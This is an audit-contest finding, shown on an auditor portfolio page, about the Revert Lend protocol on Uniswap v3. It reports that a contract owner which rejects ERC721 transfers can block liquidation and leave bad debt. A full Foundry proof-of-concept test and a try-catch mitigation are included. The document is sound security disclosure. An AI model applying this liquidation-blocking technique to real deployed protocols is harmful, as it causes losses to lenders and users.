Revert Lend - nnez's results

A lending protocol specifically designed for liquidity providers on Uniswap v3.

General Information

Platform: Code4rena

Start Date: 04/03/2024

Pot Size: $88,500 USDC

Total HM: 31

Participants: 105

Period: 11 days

Judge: ronnyx2017

Total Solo HM: 7

Id: 342

League: ETH

Revert

Findings Distribution

Researcher Performance

Rank: 87/105

Findings: 1

Award: $17.32

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

17.3162 USDC - $17.32

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
:robot:_08_group
duplicate-54

External Links

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083

Vulnerability details

Impact

Prevent liquidation of malicious actor's position, causing bad debt to the protocol and users (since some bad debt are democratized to users).

Description

At the end of liquidation process, loan struct is clear up in _clearupLoan() function. see: https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L743-L744

Zooming in _clearupLoan implementation:

function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner) internal { _removeTokenFromOwner(owner, tokenId); _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0); delete loans[tokenId]; nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId); emit Remove(tokenId, owner); }

Note that it transfers NFT position back to token's owner. Using safeTransferFrom, if to address is a contract account, ERC721 token will attempt to call onERC721Received on to address. For contract account to receive ERC721 token, it must implement onERC721Received and return a magic bytes to signal that it can handle ERC721 token, if NOT then the transfer will revert.

A malicious actor can leverage this fact and implement onERC721Received that only revert the transfer when it is the part of liquidation process so that its position can't be liquidated.

Proof-of-Concept

I wrote a test for this in a separate file, borrow a setup from V3Vault.t.sol and its liquidation test. What it does is it use foundry cheatcode, vm.etch to put a bytecode into TEST_NFT_ACCOUNT in order to demonstrate that liquidation will fail if the receiver of the position is not compatible with ERC721Receiver

Steps

(1) Save below file in test/integrations, name it LiquidationFail.t.sol

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/console.sol"; // base contracts import "../../src/V3Oracle.sol"; import "../../src/V3Vault.sol"; import "../../src/InterestRateModel.sol"; // transformers import "../../src/transformers/LeverageTransformer.sol"; import "../../src/transformers/V3Utils.sol"; import "../../src/transformers/AutoRange.sol"; import "../../src/transformers/AutoCompound.sol"; import "../../src/utils/FlashloanLiquidator.sol"; import "../../src/interfaces/IErrors.sol"; contract LiquidationFail is Test { uint256 constant Q32 = 2 ** 32; uint256 constant Q96 = 2 ** 96; uint256 constant YEAR_SECS = 31557600; // taking into account leap years address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC; IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3; address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6; address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9; address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool address constant UNISWAP_DAI_USDC_005 = 0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5; uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320) address constant TEST_NFT_ACCOUNT_2 = 0x454CE089a879F7A0d0416eddC770a47A1F47Be99; uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320) uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3% uint256 mainnetFork; V3Vault vault; InterestRateModel interestRateModel; V3Oracle oracle; function setUp() external { mainnetFork = vm.createFork("https://ethereum.publicnode.com"); vm.selectFork(mainnetFork); // 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed) (-> max rate 25.8% per year) interestRateModel = new InterestRateModel(0, Q96 * 5 / 100, Q96 * 109 / 100, Q96 * 80 / 100); // use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results) oracle = new V3Oracle(NPM, address(USDC), address(0)); oracle.setTokenConfig( address(USDC), AggregatorV3Interface(CHAINLINK_USDC_USD), 3600 * 24 * 30, IUniswapV3Pool(address(0)), 0, V3Oracle.Mode.TWAP, 0 ); oracle.setTokenConfig( address(DAI), AggregatorV3Interface(CHAINLINK_DAI_USD), 3600 * 24 * 30, IUniswapV3Pool(UNISWAP_DAI_USDC), 60, V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000 ); oracle.setTokenConfig( address(WETH), AggregatorV3Interface(CHAINLINK_ETH_USD), 3600 * 24 * 30, IUniswapV3Pool(UNISWAP_ETH_USDC), 60, V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000 ); vault = new V3Vault("Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2)); vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value // limits 15 USDC each vault.setLimits(0, 1_000e6, 1_000e6, 1_000e6, 1_000e6); // without reserve for now vault.setReserveFactor(0); } function _setupBasicLoan(bool borrowMax) internal { // lend 10 USDC _deposit(100e6, WHALE_ACCOUNT); // add collateral vm.prank(TEST_NFT_ACCOUNT); NPM.approve(address(vault), TEST_NFT); vm.prank(TEST_NFT_ACCOUNT); vault.create(TEST_NFT, TEST_NFT_ACCOUNT); (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); // assertEq(collateralValue, 8847206); // assertEq(fullValue, 9830229); if (borrowMax) { // borrow max vm.prank(TEST_NFT_ACCOUNT); vault.borrow(TEST_NFT, collateralValue); } } function _repay(uint256 amount, address account, uint256 tokenId, bool complete) internal { vm.prank(account); USDC.approve(address(vault), amount); if (complete) { (uint256 debtShares) = vault.loans(tokenId); vm.prank(account); vault.repay(tokenId, debtShares, true); } else { vm.prank(account); vault.repay(tokenId, amount, false); } } function _deposit(uint256 amount, address account) internal { vm.prank(account); USDC.approve(address(vault), amount); vm.prank(account); vault.deposit(amount, account); } function _createAndBorrow(uint256 tokenId, address account, uint256 amount) internal { vm.prank(account); NPM.approve(address(vault), tokenId); bytes[] memory calls = new bytes[](2); calls[0] = abi.encodeWithSelector(V3Vault.create.selector, tokenId, account); calls[1] = abi.encodeWithSelector(V3Vault.borrow.selector, tokenId, amount); vm.prank(account); vault.multicall(calls); } function testLiquidationFail() public { _setupBasicLoan(true); (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); // debt is equal collateral value (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT); vault.setTokenConfig(address(DAI), uint32(Q32 * 2 / 10), type(uint32).max); // 20% collateral factor // debt is greater than collateral value (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT); vm.prank(WHALE_ACCOUNT); USDC.approve(address(vault), liquidationCost - 1); (uint256 debtShares) = vault.loans(TEST_NFT); vm.prank(WHALE_ACCOUNT); USDC.approve(address(vault), liquidationCost); // putting bytecode into owner account, effectively make it a contract with no support for onERC721Received vm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080")); vm.prank(WHALE_ACCOUNT); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); // NFT was returned to owner assertEq(NPM.ownerOf(TEST_NFT), TEST_NFT_ACCOUNT); // all debt is payed assertEq(vault.debtSharesTotal(), 0); } }

(2) Run forge test --match-contract LiquidationFail --match-test testLiquidation -vvv (3) Note that the test fail due to the safeTransferFrom (4) Try remove this line vm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080")); and run the test again (5) Note that now the liquidation is successful this time

Recommend Mitigations

  • Consider handling NFT transfer in _clearupLoan() with try-catch

Assessed type

ERC721

#0 - c4-pre-sort

2024-03-18T18:41:16Z

0xEVom marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-03-20T08:34:14Z

0xEVom marked the issue as duplicate of #54

#2 - c4-judge

2024-03-31T16:00:12Z

jhsagd76 marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter